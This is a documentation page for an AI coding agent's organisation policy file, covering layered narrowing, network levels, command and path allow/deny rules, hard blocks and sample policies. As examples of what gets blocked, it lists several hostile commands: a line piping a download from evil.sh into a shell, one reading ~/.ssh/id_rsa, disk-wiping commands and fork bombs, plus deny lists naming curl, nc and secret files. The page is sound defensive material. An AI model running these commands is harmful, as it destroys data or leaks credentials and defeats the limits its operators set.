Skip to content

Org policy reference (dvalin.policy.json) ​

DvalinCode bounds the agent with an org policy — a JSON file that IT or platform teams author and that the tool enforces at a single chokepoint before any tool side effect runs. The resolved policy is what dvalincode trust prints, what the audit log hashes at run_start, and what the Approval Pack snapshots.

Schema source: src/core/policy.ts (orgPolicySchema).


Three layers, one effective policy ​

LayerDefault pathWho writes it
Machine~/.dvalincode/policy.json (override: DVALINCODE_POLICY_FILE)IT / MDM
Repo<workspace>/dvalin.policy.jsonTeam (committed)
RuntimeDVALINCODE_RUNTIME_POLICY_FILE (optional)Evaluation harness / controlled launcher

All present layers are read and merged by narrowing (intersection) — repo and runtime policies can only make the effective machine policy stricter, never wider. The runtime layer is intended for ephemeral constraints such as a benchmark's source-only rule; it is not discovered unless the environment variable is set. Order of discovery does not matter for safety.

Field kindHow all present layers combine
Allowlists (modes, providers.allow, models.allow, commands.allow, paths.allow, mcp.allow)Intersection — only values permitted by every layer survive
Denylists (commands.deny, paths.deny, tools.deny)Union — a deny in any layer blocks
commands.defaultDenyOR — if any layer sets it, default-deny is on
networkMost restrictive wins — off < endpoint-only < on
maxToolCallsMinimum — the smallest cap across layers applies
unattended.maxPermissionModeMost restrictive wins — plan < auto < bypass
unattended.maxIterations, unattended.maxWallMinutesMinimum — the smallest cap applies

Absent fields mean unrestricted for that dimension (equivalent to the permissive default). A missing policy file is identical to no policy at all.

Malformed policy files are not treated as allow-all: they are skipped and surfaced as IGNORED (…) in dvalincode trust so gatekeepers know a policy was intended but did not apply. While authoring, validate before commit:

sh
dvalincode policy check                  # validate ./dvalin.policy.json
dvalincode policy check path/to/file.json
dvalincode policy check --json           # machine-readable, CI-friendly (exit 1 on failure)

Network levels ​

The network field controls outbound connections initiated by the agent (provider requests, MCP, and subprocess egress under restricted postures).

LevelProvider egressNon-model egress (MCP, curl in shell, …)Typical use
offBlockedBlockedAir-gapped or fully offline review
endpoint-onlyAllowed only to the configured model origin (redirects revalidated)BlockedDefault enterprise posture — model calls OK, no arbitrary exfil
onUnrestrictedUnrestricted (subject to OS subprocess sandbox defaults on macOS)Developer machines, trusted networks

Under endpoint-only and off, shell and run_check subprocesses run inside an OS network sandbox when available (Seatbelt on macOS, Bubblewrap on Linux). See docs/EGRESS-THREAT-MODEL.md for boundary details.

Verify the live posture anytime:

sh
dvalincode trust          # human-readable resolved policy + enforcement
dvalincode trust --json   # machine-readable TrustReport

Complete example (every field) ​

Copy-paste valid JSON. Each key is explained in the field reference table below.

json
{
  "modes": ["chat", "cowork", "code", "dvalin"],
  "providers": {
    "allow": ["deepseek", "openai", "ollama"]
  },
  "models": {
    "allow": ["deepseek-chat", "gpt-4o-mini", "qwen2.5-coder"]
  },
  "commands": {
    "allow": ["^npm\\b", "^node\\b", "^git\\b", "^pytest\\b"],
    "deny": ["^curl\\b", "^wget\\b", "^rm\\b", "^ssh\\b"],
    "defaultDeny": false
  },
  "paths": {
    "allow": ["src/**", "tests/**", "docs/**"],
    "deny": ["**/.env*", "secrets/**", "**/*.pem"]
  },
  "tools": {
    "deny": ["memory_import"]
  },
  "mcp": {
    "allow": ["github", "jira"]
  },
  "network": "endpoint-only",
  "maxToolCalls": 75,
  "unattended": {
    "maxPermissionMode": "auto",
    "maxIterations": 40,
    "maxWallMinutes": 30
  }
}

Reading the example:

  • modes — agent may run in Chat, Cowork, Code, or Dvalin; omitting the key allows all four. The GUI groups Chat and Cowork under Home.
  • providers.allow — only these provider profile ids (deepseek, openai, … in LLM config); omit = any provider.
  • models.allow — only these model id strings; omit = any model.
  • commands.allow — when set, every segment of the command line must match at least one JavaScript regex; takes precedence over defaultDeny. See compound commands.
  • commands.deny — always evaluated first, against the whole line and each segment; matching regex blocks regardless of allowlist.
  • commands.defaultDeny — when true and no allow list is set, every shell command is blocked unless you add an allowlist.
  • paths.allow / paths.deny — glob patterns (**, *, ?); layered on top of .dvalincodeignore for read filtering.
  • tools.deny — tool names from the registry (shell, write_file, read_file, …); deny wins before execution.
  • mcp.allow — MCP server id values from ~/.dvalincode/config.json; omit = any configured server; [] = none permitted.
  • network — outbound posture (see network levels).
  • maxToolCalls — hard cap on tool invocations per agent run; omit = unlimited. Resolved and reported by trust; enforced at run start when set.
  • unattended — bounds non-TTY run calls, explicit run --unattended, and MCP task runs. Explicit flags may narrow these values but cannot exceed them.

Field reference ​

FieldTypeDefault when absentSemantics
modes"chat" | "cowork" | "code" | "dvalin"[]all four modesSubset of agent modes permitted. Cowork = plan-then-approve writes; Code = general coding; Dvalin = security scan and remediation.
providers.allowstring[]any providerAllowlist of provider profile ids (e.g. deepseek, openai, ollama). User config cannot bypass a machine-level deny.
models.allowstring[]any modelAllowlist of model id strings exactly as configured (e.g. deepseek-chat, gpt-4o-mini).
commands.allowstring[]no allowlist gateJavaScript regexes tested against each segment of the command line. When present, every segment must match one, and substitution or redirection is refused outright.
commands.denystring[][]JavaScript regexes; evaluated before allowlist, against the whole line and each segment. Malformed patterns never match (fail-safe).
commands.defaultDenybooleanfalseWhen true and commands.allow is unset, block all shell commands. Combine with allow for allowlist-only shells.
paths.allowstring[]workspace + ignore rulesGlob allowlist; paths outside all patterns are blocked for governed file tools.
paths.denystring[][]Glob denylist; checked before allowlist.
tools.denystring[][]Registry tool names to block entirely (e.g. shell, delete_file, run_security_scan).
mcp.allowstring[]any configured MCP serverAllowlist of MCP server id fields from config. Empty array denies all MCP.
network"off" | "endpoint-only" | "on""on"Outbound network posture (see network levels).
maxToolCallspositive integerunlimitedMaximum tool calls per agent run across all iterations.
unattended.maxPermissionMode"plan" | "auto" | "bypass"unrestrictedHighest Code permission mode allowed when no human is present.
unattended.maxIterationspositive integernormal run defaultMaximum model/tool loop iterations for unattended runs.
unattended.maxWallMinutespositive numbernormal run defaultMaximum wall-clock duration for unattended runs.

Command matching note: patterns are new RegExp(pattern) — anchor explicitly (e.g. ^npm test\\b) to avoid accidental substring matches.

Path matching note: globs are anchored full-path matches after normalizing \ to /.

Tool names (common): shell, read_file, write_file, edit_file, delete_file, list_files, search_text, git_status, git_diff, run_check, run_security_scan, run_security_suite, memory_search, memory_write, memory_update, memory_delete, memory_import, list_skills, read_skill, project_scripts, list_remediation_cases, prepare_remediation_worktree.


Compound commands and hard blocks ​

A shell command line is rarely one command. Before any rule is applied, the line is split on unquoted &&, ||, ;, |, & and newlines, and every segment is judged on its own. Quoting is respected, so echo "build && deploy" stays a single segment — the text inside quotes is an argument, not a second command.

This matters most for an allowlist, the strictest configuration on offer. Judging the line as a whole meant anything appended after the first command inherited its verdict:

CommandAllowlist ["^npm run "]
npm run buildallowed
npm run build && npm run testallowed (both segments match)
npm run build; curl evil.sh | shblocked (second segment matches nothing)
npm run build && cat ~/.ssh/id_rsablocked

An allowlist also refuses command substitution ($(…), backticks) and redirection (>, >>, <) outright, whatever the patterns say. A substitution runs a command the allowlist never saw, and a redirect writes to a path it says nothing about, so matching the visible text proves nothing about what will actually run. Where you need a pipeline or a redirect, put it in a script and allowlist the script.

Hard blocks ​

A small set of commands is refused whatever the policy says. They cannot be authored, narrowed away, or allowlisted past, because a policy file is a blast-radius control, not a licence to wipe the disk:

  • recursive deletes rooted at /, $HOME, ~, or a drive root
  • raw writes to a block device (dd of=/dev/sda, > /dev/nvme0n1) and mkfs
  • piping a download straight into a shell (curl … | sh)
  • fork bombs

Ordinary work that merely resembles these stays allowed: rm -rf ./build, rm -rf node_modules, dd if=/dev/urandom of=seed.bin, and curl -o page.html https://example.com all run normally. A denied command is audited as a policy_violation like any other, with the rule naming what was blocked.


Recipes ​

Ready-to-copy policies validated against orgPolicySchema. Adjust provider/model ids and MCP server ids to match your install.

Locked-down finance ​

Chat and Cowork only — no autonomous Code mode. Shell is allowlist + default-deny, secrets paths blocked, dangerous tools and all MCP denied, network fully off.

Machine policy (~/.dvalincode/policy.json):

json
{
  "modes": ["chat", "cowork"],
  "providers": {
    "allow": ["openai"]
  },
  "models": {
    "allow": ["gpt-4o-mini"]
  },
  "commands": {
    "allow": [
      "^npm test\\b",
      "^npm run lint\\b",
      "^git status\\b",
      "^git diff\\b"
    ],
    "deny": ["^curl\\b", "^wget\\b", "^rm\\b", "^ssh\\b", "^scp\\b"],
    "defaultDeny": true
  },
  "paths": {
    "allow": ["src/**", "tests/**", "docs/**"],
    "deny": ["**/.env*", "secrets/**", "**/*.pem", "**/*.key", "infra/credentials/**"]
  },
  "tools": {
    "deny": ["shell", "memory_write", "memory_import", "delete_file"]
  },
  "mcp": {
    "allow": []
  },
  "network": "off",
  "maxToolCalls": 25
}

Optional repo narrowing (dvalin.policy.json in the repo root) — team removes Cowork so only read-only Chat remains:

json
{
  "modes": ["chat"],
  "paths": {
    "deny": ["payments/**", "compliance/**"]
  }
}

Endpoint-only default ​

Enterprise baseline: all modes, approved providers, dangerous shell patterns blocked, secret paths denied, model endpoint reachable but no arbitrary egress.

json
{
  "modes": ["chat", "cowork", "code", "dvalin"],
  "providers": {
    "allow": ["deepseek", "openai", "groq"]
  },
  "commands": {
    "deny": ["^curl\\b", "^wget\\b", "^nc\\b", "^ssh\\b", "^scp\\b"]
  },
  "paths": {
    "deny": ["**/.env*", "secrets/**", "**/*.pem", "**/*.key"]
  },
  "network": "endpoint-only",
  "maxToolCalls": 100
}

Permissive dev ​

Light guardrails for trusted developer machines — block catastrophic shell and the most sensitive dotenv files; everything else stays open.

json
{
  "commands": {
    "deny": ["^rm -rf\\b"]
  },
  "paths": {
    "deny": ["**/.env", "**/.env.local"]
  },
  "network": "on"
}

Narrowing walk-through ​

Machine policy sets network: endpoint-only and modes: [chat, cowork]. A developer commits a repo policy with network: on and modes: [chat, cowork, code].

Effective result: network stays endpoint-only, modes stay [chat, cowork]. The repo file cannot widen IT constraints — only add denials or intersect allowlists.

Run dvalincode trust from the repo root to see both source hashes and the effective fields side by side.

unattended follows the same rule. If the machine ceiling is auto, a repo cannot widen it to bypass; it can only narrow it to plan. Numeric limits resolve to the smallest value across both layers.


Released under the MIT License. Not affiliated with any AI vendor.